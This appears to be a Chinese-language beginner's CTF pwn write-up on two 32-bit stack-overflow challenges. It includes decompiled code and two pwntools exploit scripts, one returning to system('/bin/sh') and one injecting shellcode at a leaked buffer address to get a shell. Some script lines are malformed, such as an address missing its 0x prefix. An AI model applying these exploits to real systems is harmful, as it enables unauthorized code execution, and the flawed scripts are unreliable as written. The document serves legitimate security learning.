Get a shell , come on !
题目1:https://pan.baidu.com/s/1dTE2MxfBvVYTS0MhJwj_vw
提取码:7wbc
工具:gdb
题解:
1、首先file stack_3一下,32位的,gdb ./stack_3一下,run一下,输入即报错。
用ida打开,点进main函数,f5编译一下,读一下吧。
2、
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-10h]
memset(&s, 0, 16);//memset用于清空数组
puts("Input something...!");
read(0, &s, 64);//从文件中读取数据
return 0;
}
读代码得:read函数可以从标准输入那读取64个字符到缓冲区s, 然而缓冲区s的大小是16, 所以有栈溢出。
3、点开system函数看,竟然是“echo how to do?”,我们想要执行“bin/sh”来获得权限,找一下吧,shift+f12找到了“bin/sh”所在地址,好的,因为要回主函数,所以找到system_plt ,哦还要找个临界值28,好了开始写脚本吧。
from pwn import *
system_plt=0x0804837
binsh_addr=0804A02C
p=process('./stack_3')
p.recvuntil("Input something...!")
payload='a'*28 + p32(system_plt) + p32(0xdeadbeef) + p32(binsh_addr)
p.sendline(payload)
p.interactive()
跑一下,哇,获得权限了。
知识点
1、读懂伪代码(memset,read),找得到溢出值,system_plt和binsh_addr。
2、写python脚本。
3、要懂栈溢出
(qwq,不知道为什么知识点仅写了这么点,我可是刚碰pwn啊,不应该很多吗)
题目2:https://pan.baidu.com/s/10aTSCCZ_WrxxTwsnzYXFTg
提取码:volv
题解:
1、checksec看保护机制,ida静态分析,确定缓冲区到返回地址的距离。
2、找不到“bin/sh”(shift+f12或在system中找)怎么办。执行shellcode来得到一个shell.
3、怎么执行shellcode?把shellcode放到栈上,把返回地址覆盖为shellcode。
4、shellcode怎么放到栈上,放在哪里,地址呢?题中已经泄露了缓冲区buf的地址,把shellcode放到buf中吧。
(他给的地址不能用,因为随机地址保护机制是打开的,所以要在执行的时候获得地址)
那么脚本如下:
from pwn import *
p=process('./stack_2')
data=p.recvuntil("?\n")
shellcode_addr=int(data[22:32],16)
#获取地址
shellcode=asm(shellcraft.i386.linux.sh(),arch='i386')
#构造shellcode
payload=shellcode + 'a'*(76-len(shellcode)) + p32(shellcode_addr)
""“
构造payload
"""
p.sendline(payload)
p.interactive()
知识点:
1、利用pwntools构造shellcode
2、如何获取buf地址